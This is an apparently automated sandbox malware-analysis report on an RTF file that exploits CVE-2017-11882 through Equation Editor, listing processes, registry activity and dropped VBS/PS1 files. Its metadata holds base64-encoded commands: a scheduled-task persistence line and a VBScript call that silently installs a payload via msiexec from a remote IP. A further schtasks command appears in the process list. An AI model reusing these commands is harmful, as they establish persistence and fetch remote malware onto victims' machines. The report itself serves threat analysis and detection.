Malware analysis bf9987b84b3f7daaa460777e5850a60f10898d0238048d3d5d07d7ec1656e47a.rtf Malicious activity

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File name:	bf9987b84b3f7daaa460777e5850a60f10898d0238048d3d5d07d7ec1656e47a.rtf
Full analysis:	https://app.any.run/tasks/904d9d5e-8326-4e8b-862f-be615f260229
Verdict:	Malicious activity
Analysis date:	April 23, 2019, 13:32:57
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	ole-embedded generated-doc exploit cve-2017-11882
Indicators:
MIME:	text/rtf
File info:	Rich Text Format data, version 1, ANSI
MD5:	B3F8ABE274CB6A5926BD5C3FC2168997
SHA1:	D3AE9CAA678754631AED1C82C409B5D43A0A9C80
SHA256:	BF9987B84B3F7DAAA460777E5850A60F10898D0238048D3D5D07D7EC1656E47A
SSDEEP:	3072:7Qc9WBKBHFuVPrlmIAzqv/njAa1UWGV0ODJ:7QIW4BluVPR53njAMGVdDJ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: on
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Equation Editor starts application (CVE-2017-11882)
  - EQNEDT32.EXE (PID: 2152)
- Uses Task Scheduler to run other applications
  - EQNEDT32.EXE (PID: 2596)
- Loads the Task Scheduler COM API
  - schtasks.exe (PID: 3032)
SUSPICIOUS
- Creates files in the Windows directory
  - EQNEDT32.EXE (PID: 2596)
INFO
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 3140)
- Creates files in the user directory
  - WINWORD.EXE (PID: 3140)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.rtf	\|	Rich Text Format (100)

EXIF

RTF

Title:	Dear All
Subject:	c2NodGFza3MgL2NyZWF0ZSAvc2MgTUlOVVRFIC90biAiQXBwIiAvdHIgIkM6XFdpbmRvd3NcdHJhY2luZ1x0cmFjaW5nLnZicyIgL21vIDIgL0Y=
Author:	Windows User
Comments:	U2V0IHdzID0gQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikNCndzLlJ1biAibXNpZXhlYyAvcSAvaSBodHRwOi8vMTg1LjIzNC43My40L0IiLDA=
LastModifiedBy:	AntiSec
CreateDate:	2019:04:17 10:33:00
ModifyDate:	2019:04:17 10:33:00
RevisionNumber:	2
TotalEditTime:	1 minute
Pages:	1
Words:	129
Characters:	741
Company:	c2NodGFza3MgL2NyZWF0ZSAvc2MgTUlOVVRFIC90biAiQXBwIiAvdHIgIkM6XFdpbmRvd3NcdHJhY2luZ1x0cmFjaW5nLnZicyIgL21vIDIgL3J1IHN5c3RlbQ==
CharactersWithSpaces:	869
InternalVersionNumber:	24689

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2152

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

—

svchost.exe

User:

admin

Company:

Design Science, Inc.

Integrity Level:

MEDIUM

Description:

Microsoft Equation Editor

Exit code:

Version:

00110900

Modules

Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll

2596

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

—

EQNEDT32.EXE

User:

admin

Company:

Design Science, Inc.

Integrity Level:

MEDIUM

Description:

Microsoft Equation Editor

Exit code:

Version:

00110900

Modules

Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll

3032

schtasks.exe /create /sc MINUTE /tn ChromeApp /tr "C:\Windows\tracing\ChromeApp.vbs" /mo 2 /F

C:\Windows\system32\schtasks.exe

—

EQNEDT32.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Manages scheduled tasks

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll

3140

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\bf9987b84b3f7daaa460777e5850a60f10898d0238048d3d5d07d7ec1656e47a.rtf"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

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Total events

1 043

Read events

713

Write events

325

Delete events

Modification events


(PID) Process:	(3140) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	0.<
Value: 302E3C00440C0000010000000000000000000000
(PID) Process:	(3140) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(3140) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(3140) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1318518814
(PID) Process:	(3140) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1318518928
(PID) Process:	(3140) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1318518929
(PID) Process:	(3140) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: 440C00006C29FF16D9F9D40100000000
(PID) Process:	(3140) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	y/<
Value: 792F3C00440C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(3140) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	y/<
Value: 792F3C00440C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(3140) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3140	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR5621.tmp.cvr		—
		MD5:—	SHA256:—
3140	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
3140	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\8.t		binary
		MD5:—	SHA256:—
2596	EQNEDT32.EXE	C:\Windows\tracing\ChromeApp.vbs		text
		MD5:—	SHA256:—
3140	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$9987b84b3f7daaa460777e5850a60f10898d0238048d3d5d07d7ec1656e47a.rtf		pgc
		MD5:—	SHA256:—
2596	EQNEDT32.EXE	C:\Windows\tracing\ChromeApp.ps1		text
		MD5:—	SHA256:—
3140	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5909E647.wmf		wmf
		MD5:82154D73906767D7B810864B32E3EBAD	SHA256:6FD66589D2ED5D42039174EA02F331F127EFEB166E61EA3558B0EA7A2B771A77

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

No HTTP requests

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Connections

No data

DNS requests

No data

Threats

No threats detected

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No debug info

General Info

bf9987b84b3f7daaa460777e5850a60f10898d0238048d3d5d07d7ec1656e47a.rtf

B3F8ABE274CB6A5926BD5C3FC2168997

D3AE9CAA678754631AED1C82C409B5D43A0A9C80

BF9987B84B3F7DAAA460777E5850A60F10898D0238048D3D5D07D7EC1656E47A

3072:7Qc9WBKBHFuVPrlmIAzqv/njAa1UWGV0ODJ:7QIW4BluVPR53njAMGVdDJ

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Equation Editor starts application (CVE-2017-11882)

Uses Task Scheduler to run other applications

Loads the Task Scheduler COM API

SUSPICIOUS

Creates files in the Windows directory

INFO

Reads Microsoft Office registry keys

Creates files in the user directory

Malware configuration

Static information

TRiD

EXIF

RTF

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings